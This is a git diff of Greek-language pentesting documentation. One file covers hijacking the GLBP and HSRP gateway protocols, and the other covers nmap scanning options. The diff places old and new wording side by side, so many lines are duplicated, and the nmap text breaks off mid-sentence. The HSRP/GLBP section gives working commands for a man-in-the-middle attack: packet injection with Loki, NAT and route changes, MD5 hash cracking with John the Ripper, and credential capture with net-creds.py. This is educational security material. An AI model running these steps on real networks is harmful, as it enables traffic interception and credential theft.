Το GLBP ξεχωρίζει επιτρέποντας τη διανομή φορτίου σε δρομολογητές χρησιμοποιώντας ένα μοναδικό εικονικό IP σε συνδυασμό με πολλές εικονικές MAC διευθύνσεις. Σε μια ομάδα GLBP, κάθε δρομολογητής συμμετέχει στην προώθηση πακέτων. Αντίθετα με το HSRP/VRRP, το GLBP προσφέρει γνήσια ισορροπία φορτίου μέσω διαφόρων μηχανισμών:
- **Ισορροπία Φορτίου Εξαρτημένη από τον Χρήστη:** Διατηρεί σταθερή ανάθεση διεύθυνσης MAC AVF σε έναν υπολογιστή, το οποίο είναι ουσιώδες για σταθερές ρυθμίσεις NAT.
- **Ισορροπία Φορτίου Round-Robin:** Η προεπιλεγμένη προσέγγιση, εναλλάσσει την ανάθεση διεύθυνσης MAC AVF μεταξύ των αιτούντων υπολογιστών.
@ -46,20 +47,20 @@
Ένας επιτιθέμενος μπορεί να γίνει ο κύριος δρομολογητής αποστέλλοντας ένα πακέτο GLBP με τη μεγαλύτερη τιμή προτεραιότητας (255). Αυτό μπορεί να οδηγήσει σε επιθέσεις DoS ή MITM, επιτρέποντας την παρεμπόδιση ή την ανακατεύθυνση της κίνησης.
### Εκτέλεση Επίθεσης GLBP με το Loki
Το [Loki](https://github.com/raizo62/loki_on_kali) μπορεί να εκτελέσει μια επίθεση GLBP με την εισαγωγή ενός πακέτου με τις τιμές προτεραιότητας και βάρους ορισμένες σε 255. Οι προεπιθετικές ενέργειες περιλαμβάνουν τη συλλογή πληροφοριών όπως η εικονική διεύθυνση IP, η παρουσία πιστοποίησης και οι τιμές προτεραιότητας δρομολογητών χρησιμοποιώντας εργαλεία όπως το Wireshark.
Το [Loki](https://github.com/raizo62/loki_on_kali) μπορεί να εκτελέσει μια επίθεση GLBP με την ενσωμάτωση ενός πακέτου με τιμή προτεραιότητας και βάρος που έχει οριστεί σε 255. Οι προεπιθετικές ενέργειες περιλαμβάνουν τη συλλογή πληροφοριών όπως η εικονική διεύθυνση IP, η παρουσία πιστοποίησης και οι τιμές προτεραιότητας του δρομολογητή χρησιμοποιώντας εργαλεία όπως το Wireshark.
Βήματα Επίθεσης:
1. Αλλαγή σε προωθητική λειτουργία και ενεργοποίηση προώθησης IP.
2. Αναγνώριση του στόχου δρομολογητή και ανάκτηση της IP του.
3. Δημιουργία ενός Gratuitous ARP.
4. Εισαγωγή ενός κακόβουλου πακέτου GLBP, παριστάνοντας τον AVG.
3. Δημιουργία ενός Ανιδιότιμου ARP.
4. Ενσωμάτωση ενός κακόβουλου πακέτου GLBP, προσωποποιώντας τον AVG.
5. Ανάθεση δευτερεύουσας διεύθυνσης IP στη διεπαφή δικτύου του επιτιθέμενου, αντικατοπτρίζοντας την εικονική διεύθυνση IP του GLBP.
6. Εφαρμογή SNAT για πλήρη ορατότητα της κίνησης.
7. Προσαρμογή δρομολόγησης για να διασφαλιστεί η συνεχής πρόσβαση στο διαδίκτυο μέσω του αρχικού δρομολογητή AVG.
7. Προσαρμογή της δρομολόγησης για να διασφαλιστεί η συνεχής πρόσβαση στο διαδίκτυο μέσω του αρχικού δρομολογητή AVG.
Ακολουθώντας αυτά τα βήματα, ο επιτιθέμενος τοποθετείται ως "άνθρωπος στη μέση", ικανός να παρεμβαίνει και να αναλύει την κίνηση του δικτύου, συμπεριλαμβανομένων μη κρυπτογραφημένων ή ευαίσθητων δεδομένων.
Για επίδειξη, παρακάτω παρατίθενται τα απαιτούμενα αποσπάσματα εντολών:
Για επίδειξη, εδώ υπάρχουν τα απαιτούμενα αποσπάσματα εντολών:
```bash
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
@ -76,20 +77,20 @@ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
### Παθητική Εξήγηση της Απαγωγής του HSRP με Λεπτομέρειες Εντολών
#### Επισκόπηση του HSRP (Hot Standby Router/Redundancy Protocol)
Το HSRP είναι ένα πρωτόκολλο που ανήκει στην Cisco σχεδιασμένο για την αντιγραφή ασφάλειας της πύλης δικτύου. Επιτρέπει τη διαμόρφωση πολλαπλών φυσικών δρομολογητών σε ένα μόνο λογικό μονάδα με κοινή διεύθυνση IP. Αυτή η λογική μονάδα διαχειρίζεται από έναν κύριο δρομολογητή που είναι υπεύθυνος για την καθοδήγηση της κίνησης. Αντίθετα με το GLBP, το οποίο χρησιμοποιεί μετρήσεις όπως προτεραιότητα και βάρος για την ισορροπία φορτίου, το HSRP βασίζεται σε έναν μόνο ενεργό δρομολογητή για τη διαχείριση της κίνησης.
Το HSRP είναι ένα πρωτόκολλο που ανήκει στην Cisco σχεδιασμένο για την αντιγραφή ασφάλειας της πύλης δικτύου. Επιτρέπει τη διαμόρφωση πολλαπλών φυσικών δρομολογητών σε μια μονάδα με ένα κοινό διεύθυνση IP. Αυτή η λογική μονάδα διαχειρίζεται από έναν κύριο δρομολογητή που είναι υπεύθυνος για την κατεύθυνση της κίνησης. Αντίθετα με το GLBP, το οποίο χρησιμοποιεί μετρήσεις όπως προτεραιότητα και βάρος για την ισορροπία φορτίου, το HSRP βασίζεται σε έναν μόνο ενεργό δρομολογητή για τη διαχείριση της κίνησης.
#### Ρόλοι και Ορολογία στο HSRP
- **Ενεργός Δρομολογητής HSRP**: Η συσκευή που λειτουργεί ως πύλη, διαχειρίζεται τη ροή της κίνησης.
- **Δευτερεύων Δρομολογητής HSRP**: Ένας εφεδρικός δρομολογητής, έτοιμος να αναλάβει τον ρόλο αν ο ενεργός δρομολογητής αποτύχει.
- **Ομάδα HSRP**: Ένα σύνολο δρομολογητών που συνεργάζονται για το σχηματισμό ενός μοναδικού ανθεκτικού εικονικού δρομολογητή.
- **Ομάδα HSRP**: Ένα σύνολο δρομολογητών που συνεργάζονται για το σχηματισμό ενός μοναδικού εικονικού δρομολογητή ανθεκτικού.
- **Διεύθυνση MAC HSRP**: Μια εικονική διεύθυνση MAC που ανατίθεται στον λογικό δρομολογητή στη διάταξη HSRP.
- **Εικονική Διεύθυνση IP HSRP**: Η εικονική διεύθυνση IP της ομάδας HSRP, που λειτουργεί ως η προεπιλεγμένη πύλη για τις συνδεδεμένες συσκευές.
- **Εικονική Διεύθυνση IP HSRP**: Η εικονική διεύθυνση IP της ομάδας HSRP, λειτουργώντας ως η προεπιλεγμένη πύλη για τις συνδεδεμένες συσκευές.
#### Εκδόσεις HSRP
Το HSRP έρχεται σε δύο εκδόσεις, HSRPv1 και HSRPv2, που διαφέρουν κυρίως στη χωρητικότητα ομάδας, στη χρήση διεύθυνσης IP πολυεκπομπής και στη δομή της εικονικής διεύθυνσης MAC. Το πρωτόκολλο χρησιμοποιεί συγκεκριμένες διευθύνσεις IP πολυεκπομπής για την ανταλλαγή πληροφοριών υπηρεσίας, με πακέτα Hello που στέλνονται κάθε 3 δευτερόλεπτα. Ένας δρομολογητής θεωρείται ανενεργός εάν δεν λάβει κανένα πακέτο εντός ενός χρονικού διαστήματος 10 δευτερολέπτων.
Το HSRP έρχεται σε δύο εκδόσεις, HSRPv1 και HSRPv2, που διαφέρουν κυρίως στη χωρητικότητα ομάδας, στη χρήση πολυδιανομής IP και στη δομή της εικονικής διεύθυνσης MAC. Το πρωτόκολλο χρησιμοποιεί συγκεκριμένες διευθύνσεις IP πολυδιανομής για την ανταλλαγή πληροφοριών υπηρεσίας, με πακέτα Hello που στέλνονται κάθε 3 δευτερόλεπτα. Ένας δρομολογητής θεωρείται ανενεργός αν δεν λάβει κανένα πακέτο εντός ενός χρονικού διαστήματος 10 δευτερολέπτων.
#### Μηχανισμός Επίθεσης HSRP
Οι επιθέσεις HSRP περιλαμβάνουν την ανάληψη βίαια του ρόλου του Ενεργού Δρομολογητή με την εισαγωγή μέγιστης τιμής προτεραιότητας. Αυτό μπορεί να οδηγήσει σε επίθεση Man-In-The-Middle (MITM). Οι βασικές βήματα πριν από την επίθεση περιλαμβάνουν τη συλλογή δεδομένων σχετικά με τη διάταξη του HSRP, το οποίο μπορεί να γίνει χρησιμοποιώντας το Wireshark για ανάλυση της κίνησης.
Οι επιθέσεις HSRP περιλαμβάνουν τη λήψη με τη βία του ρόλου του Ενεργού Δρομολογητή με την εισαγωγή μέγιστης τιμής προτεραιότητας. Αυτό μπορεί να οδηγήσει σε επίθεση Man-In-The-Middle (MITM). Οι βασικές βήματα πριν από την επίθεση περιλαμβάνουν τη συλλογή δεδομένων σχετικά με τη διάταξη του HSRP, το οποίο μπορεί να γίνει χρησιμοποιώντας το Wireshark για ανάλυση της κίνησης.
#### Βήματα για την Παράκαμψη Πιστοποίησης HSRP
1. Αποθηκεύστε την κίνηση δικτύου που περιέχει δεδομένα HSRP ως αρχείο .pcap.
@ -100,40 +101,33 @@ tcpdump -w hsrp_traffic.pcap
```shell
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
```
3. Κρυπτογραφήστε τις τιμές MD5 χρησιμοποιώντας το John the Ripper.
3. Κατακερματίστε τις τιμές MD5 χρησιμοποιώντας το John the Ripper.
```shell
john --wordlist=mywordlist.txt hsrp_hashes
```
**Εκτέλεση Εισαγωγής HSRP με το Loki**
1. Εκκινήστε το Loki για να αναγνωρίσετε τις διαφημίσεις HSRP.
2. Ορίστε τη διεπαφή δικτύου σε λειτουργία προωθημένης λήψης και ενεργοποιήστε την προώθηση IP.
1. Εκκινήστε το Loki για την αναγνώριση των διαφημίσεων HSRP.
2. Ορίστε τη διεπαφή δικτύου σε λειτουργία promiscuous και ενεργοποιήστε την προώθηση IP.
```shell
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
```
3. Χρησιμοποιήστε το Loki για να στοχεύσετε τον συγκεκριμένο δρομολογητή, εισαγάγετε τον κατεστραμμένο κωδικό HSRP και πραγματοποιήστε τις απαραίτητες ρυθμίσεις για να υποκαταστήσετε τον Ενεργό Δρομολογητή.
4. Αφού αποκτήσετε τον ρόλο του Ενεργού Δρομολογητή, ρυθμίστε τη διεπαφή δικτύου και τους πίνακες IP για να παρεμβάλετε τη νόμιμη κίνηση.
3. Χρησιμοποιήστε το Loki για να στοχεύσετε τον συγκεκριμένο δρομολογητή, εισαγάγετε τον κατακερματισμένο κωδικό HSRP και πραγματοποιήστε τις απαραίτητες ρυθμίσεις για να υποκαταστήσετε τον Ενεργό Δρομολογητή.
4. Αφού αποκτήσετε τον ρόλο του Ενεργού Δρομολογητή, ρυθμίστε τη διεπαφή δικτύου και τους πίνακες IP για να παρεμβάλλετε τη νόμιμη κίνηση.
```shell
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
5. Τροποποιήστε τον πίνακα δρομολόγησης για να δρομολογήσετε την κίνηση μέσω του προηγούμενου Ενεργού Δρομολογητή.
5. Τροποποιήστε τον πίνακα δρομολόγησης για να καθοδηγεί την κίνηση μέσω του προηγούμενου Ενεργού Δρομολογητή.
```shell
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
6. Χρησιμοποιήστε το net-creds.py ή ένα παρόμοιο εργαλείο για να καταγράψετε διαπιστευτήρια από την παρεμβαλλόμενη κίνηση.
6. Χρησιμοποιήστε το net-creds.py ή ένα παρόμοιο εργαλείο για να αιχμαλωτίσετε διαπιστευτήρια από την παρεμβαλλόμενη κίνηση.
```shell
sudo python2 net-creds.py -i eth0
```
Η εκτέλεση αυτών των βημάτων τοποθετεί τον επιτιθέμενο σε μια θέση για να παρεμβαίνει και να χειρίζεται την κίνηση, παρόμοια με τη διαδικασία για την απαγωγή του GLBP. Αυτό υπογραμμίζει την ευπάθεια σε πρωτόκολλα αντιγραφής ασφάλειας όπως το HSRP και την ανάγκη για ανθεκτικά μέτρα ασφαλείας.
## Αναφορές
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Η εκτέλεση αυτών των βημάτων τοποθετεί τον επιτιθέμενο σε μια θέση για να αιχμαλωτίσει και να χειρίζεται την κίνηση, παρόμοια με τη διαδικασία για την απαγωγή του GLBP. Αυτό υπογραμμίζει την ευπάθεια σε πρωτόκολλα αντιγραφής ασφάλειας όπως το HSRP και την ανάγκη για ανθεκτικά μέτρα ασφαλείας.

View file

@ -14,7 +14,7 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```
@ -24,21 +24,21 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
### IPs για σάρωση
* **`<ip>,<net/mask>`:** Δείχνει τις διευθύνσεις ip απευθείας
* **`-iL <ips_file>`:** list\_IPs
* **`<ip>,<net/mask>`:** Δείχνουν τις διευθύνσεις ip απευθείας
* **`-iL <ips_file>`:** λίστα_IPs
* **`-iR <number>`**: Αριθμός τυχαίων Ips, μπορείτε να εξαιρέσετε πιθανές Ips με `--exclude <Ips>` ή `--excludefile <file>`.
### Ανακάλυψη εξοπλισμού
Από προεπιλογή, το Nmap ξεκινά μια φάση ανακάλυψης που αποτελείται από: `-PA80 -PS443 -PE -PP`
* **`-sL`**: Δεν είναι επεμβατικό, καταχωρεί τους στόχους κάνοντας αιτήσεις **DNS** για την ανάλυση ονομάτων. Είναι χρήσιμο για να μάθετε αν για παράδειγμα το www.prueba.es/24 όλες οι Ips είναι οι στόχοί μας.
* **`-Pn`**: **Χωρίς ping**. Αυτό είναι χρήσιμο αν γνωρίζετε ότι όλα είναι ενεργά (αλλιώς, θα μπορούσατε να χάσετε πολύ χρόνο, αλλά αυτή η επιλογή παράγει επίσης ψευδείς αρνητικά λέγοντας ότι δεν είναι ενεργά), αποτρέπει τη φάση ανακάλυψης.
* **`-sn`** : **Χωρίς σάρωση θυρών**. Μετά την ολοκλήρωση της φάσης αναγνώρισης, δεν σαρώνει θύρες. Είναι σχετικά αθόρυβο και επιτρέπει μια μικρή σάρωση δικτύου. Με προνόμια στέλνει ένα ACK (-PA) στη θύρα 80, ένα SYN(-PS) στη θύρα 443 και μια αίτηση echo και μια αίτηση Timestamp, χωρίς προνόμια πάντα ολοκληρώνει συνδέσεις. Εάν ο στόχος είναι το δίκτυο, χρησιμοποιεί μόνο ARP(-PR). Εάν χρησιμοποιηθεί με μια άλλη επιλογή, πέφτουν μόνο τα πακέτα της άλλης επιλογής.
* **`-sL`**: Δεν είναι επεμβατικό, καταχωρεί τους στόχους κάνοντας αιτήσεις **DNS** για την ανάλυση ονομάτων. Είναι χρήσιμο για να μάθετε αν για παράδειγμα το www.prueba.es/24 όλες οι Ips είναι οι στόχοι μας.
* **`-Pn`**: **Χωρίς ping**. Αυτό είναι χρήσιμο αν γνωρίζετε ότι όλα είναι ενεργά (αλλιώς, θα μπορούσατε να χάσετε πολύ χρόνο, αλλά αυτή η επιλογή παράγει επίσης ψευδείς αρνητικές απαντήσεις λέγοντας ότι δεν είναι ενεργά), αποτρέπει τη φάση ανακάλυψης.
* **`-sn`** : **Χωρίς σάρωση θυρών**. Μετά την ολοκλήρωση της φάσης αναγνώρισης, δεν σαρώνει θύρες. Είναι σχετικά αθόρυβο και επιτρέπει μια μικρή σάρωση δικτύου. Με προνόμια στέλνει ένα ACK (-PA) στη θύρα 80, ένα SYN(-PS) στη θύρα 443 και μια αίτηση echo και μια αίτηση Timestamp, χωρίς προνόμια ολοκληρώνει πάντα συνδέσεις. Εάν ο στόχος είναι το δίκτυο, χρησιμοποιεί μόνο ARP(-PR). Εάν χρησιμοποιηθεί με μια άλλη επιλογή, πέφτουν μόνο τα πακέτα της άλλης επιλογής.
* **`-PR`**: **Ping ARP**. Χρησιμοποιείται από προεπιλογή κατά την ανάλυση υπολογιστών στο δίκτυό μας, είναι ταχύτερο από τη χρήση pings. Εάν δεν θέλετε να χρησιμοποιήσετε πακέτα ARP, χρησιμοποιήστε `--send-ip`.
* **`-PS <ports>`**: Αποστέλλει πακέτα SYN στα οποία αν απαντήσει με SYN/ACK είναι ανοιχτή (στα οποία απαντά με RST για να μην ολοκληρωθεί η σύνδεση), αν απαντά με RST είναι κλειστή και αν δεν απαντά είναι μη προσβάσιμη. Σε περίπτωση που δεν υπάρχουν προνόμια, χρησιμοποιείται αυτόματα μια συνολική σύνδεση. Εάν δεν δίνονται θύρες, το αποστέλλει στη θύρα 80.
* **`-PS <ports>`**: Αποστέλλει πακέτα SYN στα οποία αν απαντήσει με SYN/ACK είναι ανοιχτή (στα οποία απαντά με RST για να μην ολοκληρωθεί η σύνδεση), αν απαντά με RST είναι κλειστή και αν δεν απαντά είναι μη προσβάσιμη. Σε περίπτωση που δεν έχετε προνόμια, χρησιμοποιείται αυτόματα μια συνολική σύνδεση. Εάν δεν δίνονται θύρες, το στέλνει στη θύρα 80.
* **`-PA <ports>`**: Όπως το προηγούμενο αλλά με ACK, συνδυάζοντας και τα δύο δίνει καλύτερα αποτελέσματα.
* **`-PU <ports>`**: Το αντίθετο, αποστέλλονται σε θύρες που αναμένεται να είναι κλειστές. Κάποια firewalls ελέγχουν μόνο τις συνδέσεις TCP. Εάν είναι κλειστό απαντά με port unreachable, εάν απαντά με άλλο icmp ή δεν απαντά αφήνεται ως προορισμός μη προσβάσιμος.
* **`-PU <ports>`**: Το αντίθετο, στέλνονται σε θύρες που αναμένεται να είναι κλειστές. Κάποιοι τοίχοι πυρασφάλειας ελέγχουν μόνο τις συνδέσεις TCP. Εάν είναι κλειστό απαντά με port unreachable, εάν απαντά με κάποιο άλλο icmp ή δεν απαντά αφήνεται ως προορισμός μη προσβάσιμος.
* **`-PE, -PP, -PM`** : ICMP PINGS: απάντηση echo, timestamp και addresmask. Αποστέλλονται για να μάθουμε αν ο στόχος είναι ενεργός.
* **`-PY<ports>`**: Αποστέλλει SCTP INIT probes στη θύρα 80 από προεπιλογή, INIT-ACK(ανοιχτή) ή ABORT(κλειστή) ή τίποτα ή ICMP unreachable(ανενεργή) μπορεί να απαντηθεί.
* **`-PO <protocols>`**: Υποδεικνύεται ένα πρωτόκολλο στα headers, από προεπιλογή 1(ICMP), 2(IGMP) και 4(Encap IP). Για τα πρωτόκολλα ICMP, IGMP, TCP (6) και UDP (17) αποστέλλονται τα headers των πρωτοκόλλων, για τα υπόλοιπα αποστέλλεται μόνο το IP header. Ο σκοπός αυτού είναι ότι λόγω της ανωμαλίας των headers, απαντώνται πρωτόκολλα unreachable ή απαντήσεις του ίδιου πρωτοκόλλου για να γνωρίζουμε αν είναι ενεργό.
@ -47,14 +47,14 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
### Τεχνικές σάρωσης θυρών
* **`-sS`**: Δεν ολοκληρώνει τη σύνδεση έτσι δεν αφήνει ίχνη, πολύ καλό αν μπορεί να χρησιμοποιηθεί (προνόμια) Είναι αυτό που χρησιμοποιείται από προεπιλογή.
* **`-sS`**: Δεν ολοκληρώνει τη σύνδεση έτσι δεν αφήνει ίχνη, πολύ καλό αν μπορεί να χρησιμοποιηθεί. (προνόμια) Είναι αυτό που χρησιμοποιείται από προεπιλογή.
* **`-sT`**: Ολοκληρώνει τη σύνδεση, οπότε αφήνει ίχνη, αλλά μπορεί να χρησιμοποιηθεί με βεβαιότητα. Από προεπιλογή χωρίς προνόμια.
* **`-sU`**: Πιο αργό, για UDP. Κυρίως: DNS(53), SNMP(161,162), DHCP(67 και 68), (-sU53,161,162,67,68): ανοιχτή(απάντηση), κλειστή(port unreachable), φιλτραρισμένη (άλλο ICMP), ανοιχτή/φιλτραρισμένη (τίποτα). Σε περίπτωση ανοιχτής/φιλτραρισμένης, το -sV αποστέλλει πολλαπλά αιτήματα για να ανιχνεύσει οποιαδήποτε από τις εκδόσεις που υποστηρίζει το nmap και μπορεί να ανιχνεύσει την πραγματική κατάσταση. Αυξάνει πολύ τον χρόνο.
* **`-sU`**: Πιο αργό, για UDP. Κυρίως: DNS(53), SNMP(161,162), DHCP(67 και 68), (-sU53,161,162,67,68): ανοιχτό(απάντηση), κλειστό(port unreachable), φιλτραρισμένο (άλλο ICMP), ανοιχτό/φιλτραρισμένο (τίποτα). Σε περίπτωση ανοιχτού/φιλτραρισμένου, το -sV στέλνει πολλαπλά αιτήματα για να ανιχνεύσει οποιαδήποτε από τις εκδόσεις που υποστηρίζει το nmap και μπορεί να ανιχνεύσει την πραγματική κατάσταση. Αυξάνει πολύ τον χρόνο.
* **`-sY`**: Το πρωτόκολλο SCTP αποτυγχάνει να καθιερώσει τη σύνδεση, έτσι δεν υπάρχουν καταγραφές, λειτουργεί όπως το -PY
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, μπορούν να διεισδύσουν σε μερικούς firewalls και να εξάγουν πληροφορίες. Βασίζονται στο γεγονός ότι μη συμμορφούμενες μηχανές θα έπρεπε να απαντούν με RST σε όλα τα αιτήματα που δεν έχουν ανασηκωμένες σημαίες SYN, RST ή ACK: ανοιχτή/φιλτραρισμένη(τίποτα), κλειστή(RST), φιλτραρισμένη (ICMP unreachable). Αναξιόπιστο σε Windows, CIsco, BSDI και OS/400. Σε unix ναι.
* **`-sM`**: Maimon scan: Αποστέλλει σημαίες FIN και ACK, χρησιμοποιείται για BSD, αυτή τη στιγμή θα επιστρέψει όλα ως κλειστά.
* **`-sA, sW`**: ACK και Window, χρησιμοποιούνται για την ανίχνευση firewalls, για να μάθουμε αν οι θύρες είναι φιλτραρισμένες ή όχι. Το -sW διακρίνει μεταξύ ανοιχτών/κλειστών αφού οι ανοιχτές απαντούν με διαφορετική τιμή παραθύρου: ανοιχτή (RST με τιμή παραθύρου διαφορετική του 0), κλειστή (RST παράθυρο = 0), φιλτραρισμένη (ICMP unreachable ή τίποτα). Όχι όλοι οι υπολογιστές λειτουργούν με αυτόν τον τρόπο, οπότε αν είναι όλα κλειστά, δεν λειτουργεί, αν είναι λίγα ανοιχτά, λειτουργεί καλά, και αν είναι πολλά ανοιχτά και λίγα κλειστά, λειτουργεί με τον αντίστροφο τρόπο.
* **`-sI`:** Idle scan. Για τις περιπτώσεις στις οποίες υπάρχει ένα ενεργό τείχος πυρασφάλειας αλλά γνωρίζουμε ότι δεν φιλτράρει σε μια συγκεκριμένη Ip (ή όταν απλά θέλουμε ανωνυμία) μπορούμε να χρησιμοποιήσουμε τον ανιχνευτή zombie (λειτουργεί για όλες τις θύρες), για να βρούμε πιθανούς zombies μπορούμε να χρησιμο
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, μπορούν να διεισδύσουν σε μερικούς τοίχους πυρασφάλειας και να εξάγουν πληροφορίες. Βασίζονται στο γεγονός ότι μη συμμορφούμενες μηχανές θα πρέπει να απαντούν με RST σε όλα τα αιτήματα που δεν έχουν ανασηκωθεί με SYN, RST ή ACK σημαίες: ανοιχτό/φιλτραρισμένο(τίποτα), κλειστό(RST), φιλτραρισμένο (ICMP unreachable). Αναξιόπιστο σε Windows, CIsco, BSDI και OS/400. Σε unix ναι.
* **`-sM`**: Σάρωση Maimon: Αποστέλλει σημαίες FIN και ACK, χρησιμοποιείται για BSD, αυτή τη στιγμή θα επιστρέψει όλα ως κλειστά.
* **`-sA, sW`**: ACK και Window, χρησιμοποιούνται για την ανίχνευση των τοίχων πυρασφάλειας, για να μάθουμε αν οι θύρες είναι φιλτραρισμένες ή όχι. Το -sW διακρίνει μεταξύ ανοιχτών/κλειστών αφού τα ανοιχτά απαντούν με μια διαφορετική τιμή παραθύρου: ανοιχτό (RST με τιμή παραθύρου διαφορετική από 0), κλειστό (RST παράθυρο = 0), φιλτραρισμένο (ICMP unreachable ή τίποτα). Όχι όλοι οι υπολογιστές λειτουργούν με αυτόν τον τρόπο, οπότε αν είναι όλα κλειστά, δεν λειτουργεί, αν είναι λίγα ανοιχτά, λειτουργεί καλά, και αν είναι πολλά ανοιχτά και λίγα κλειστά, λειτουργεί αντίστροφα.
* **`-sI`:** Ανενεργή σάρωση. Για τις περιπτώσεις στις οποίες υπάρχει ένας ενεργός τοίχος πυρασφάλειας αλλά γνωρίζουμε ότι δεν φιλτράρει σε μια συγκεκριμένη Ip (ή όταν απλά θέλουμε ανωνυμία) μπορούμε να χρησιμοποιήσουμε τον σαρωτή
**--osscan-guess** Όταν η ανίχνευση του λειτουργικού συστήματος δεν είναι τέλεια, αυτό κάνει το εργαλείο να προσπαθήσει περισσότερο.
**Scripts**
@ -67,15 +67,15 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
* **Auth:** εκτελεί όλα τα διαθέσιμα _scripts_ για πιστοποίηση
* **Default:** εκτελεί τα προεπιλεγμένα _scripts_ του εργαλείου
* **Discovery:** ανακτά πληροφορίες για τον στόχο ή το θύμα
* **Discovery:** ανακτά πληροφορίες από τον στόχο ή το θύμα
* **External:** _script_ για χρήση εξωτερικών πόρων
* **Intrusive:** χρησιμοποιεί _scripts_ που θεωρούνται εισβολικοί για το θύμα ή τον στόχο
* **Malware:** ελέγχει αν υπάρχουν ανοιχτές συνδέσεις λόγω κακόβουλων κωδικών ή _backdoors_
* **Safe:** εκτελεί _scripts_ που δεν είναι εισβολικοί
* **Intrusive:** χρησιμοποιεί _scripts_ που θεωρούνται ενοχλητικοί για το θύμα ή τον στόχο
* **Malware:** ελέγχει αν υπάρχουν ανοιχτές συνδέσεις λόγω κακόβουλου κώδικα ή _backdoors_
* **Safe:** εκτελεί _scripts_ που δεν είναι ενοχλητικοί
* **Vuln:** ανακαλύπτει τις πιο γνωστές ευπάθειες
* **All:** εκτελεί όλα τα διαθέσιμα _scripts_ με κατάληξη NSE
* **All:** εκτελεί απόλυτα όλα τα διαθέσιμα _scripts_ με επέκταση NSE
Για την αναζήτηση _scripts_:
Για να αναζητήσετε _scripts_:
**nmap --script-help="http-\*" -> Αυτά που ξεκινούν με http-**
@ -93,21 +93,21 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
\--script-help _\<όνομα αρχείου>_|_\<κατηγορία>_|_\<κατάλογος>_|_\<έκφραση>_|all\[,...]
\--script-trace ---> Παρέχει πληροφορίες σχετικά με την πορεία του _script_
\--script-trace ---> Παρέχει πληροφορίες σχετικά με την πρόοδο του _script_
\--script-updatedb
**Για να χρησιμοποιήσετε ένα _script_ απλά πρέπει να γράψετε: nmap --script Όνομα\_του\_script στόχος** --> Με την εντολή του _script_ εκτελούνται τόσο το _script_ όσο και το εργαλείο σάρωσης, οπότε μπορούν να προστεθούν επιλογές του εργαλείου σάρωσης, μπορούμε να προσθέσουμε **"safe=1"** για να εκτελεστούν μόνο τα ασφαλή.
**Για να χρησιμοποιήσετε ένα _script_ απλά πρέπει να γράψετε: nmap --script Όνομα\_του\_script στόχος** --> Με την εντολή του _script_ θα εκτελεστεί τόσο το _script_ όσο και το εργαλείο σάρωσης, οπότε μπορείτε επίσης να προσθέσετε **"safe=1"** για να εκτελεστούν μόνο τα ασφαλή.
**Έλεγχος χρόνου**
**Το Nmap μπορεί να τροποποιήσει το χρόνο σε δευτερόλεπτα, λεπτά, ms:** --host-timeout arguments 900000ms, 900, 900s, και 15m κάνουν το ίδιο πράγμα.
Το Nmap διαιρεί το συνολικό αριθμό των στόχων προς σάρωση σε ομάδες και αναλύει αυτές τις ομάδες σε μπλοκ, έτσι ώστε μέχρι να έχουν αναλυθεί όλες, δεν προχωρά στο επόμενο μπλοκ (και ο χρήστης δεν λαμβάνει ενημερώσεις μέχρι να αναλυθεί το μπλοκ), με αυτόν τον τρόπο, είναι πιο αποδοτικό για το Nmap να χρησιμοποιεί μεγάλες ομάδες. Από προεπιλογή στην κλάση C χρησιμοποιεί 256.
Το Nmap διαιρεί το συνολικό αριθμό των στόχων προς σάρωση σε ομάδες και αναλύει αυτές τις ομάδες σε μπλοκ, έτσι ώστε μέχρι να έχουν αναλυθεί όλες, δεν προχωρά στο επόμενο μπλοκ (και ο χρήστης δεν λαμβάνει καμία ενημέρωση μέχρι να αναλυθεί το μπλοκ) με αυτόν τον τρόπο, είναι πιο αποδοτικό για το Nmap να χρησιμοποιεί μεγάλες ομάδες. Από προεπιλογή σε κλάση C χρησιμοποιεί 256.
Μπορείτε να το αλλάξετε με\*\*--min-hostgroup\*\* _**\<αριθμός στόχων>**_**;** **--max-hostgroup** _**\<αριθμός στόχων>**_ (Προσαρμογή μεγέθους παράλληλης ομάδας σάρωσης)
Μπορείτε να το αλλάξετε με\*\*--min-hostgroup\*\* _**\<αριθμός στόχων>**_**;** **--max-hostgroup** _**\<αριθμός στόχων>**_ (Ρύθμιση μεγέθους παράλληλης σάρωσης ομάδων)
Μπορείτε να ελέγξετε τον αριθμό των σαρωτών που λειτουργούν παράλληλα, αλλά είναι καλύτερο να μην το κάνετε (το nmap έχει ήδη αυτόματο έλεγχο βάσει της κατάστασης του δικτύου): **--min-parallelism** _**\<αριθμός εξερευνήσεων>**_**;** **--max-parallelism** _**\<αριθμός εξερευνήσεων>**_
Μπορείτε να ελέγξετε τον αριθμό των σαρωτών που λειτουργούν παράλληλα, αλλά είναι καλύτερο να μην το κάνετε (το Nmap έχει ήδη ενσωματωμένο αυτόματο έλεγχο βάσει της κατάστασης του δικτύου): **--min-parallelism** _**\<αριθμός εξερευνήσεων>**_**;** **--max-parallelism** _**\<αριθμός εξερευνήσεων>**_
